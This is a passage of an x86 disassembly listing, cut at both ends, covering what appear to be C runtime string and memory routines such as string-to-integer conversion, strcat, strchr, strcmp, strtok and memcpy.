		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 267025Ch
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 26709FBh
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
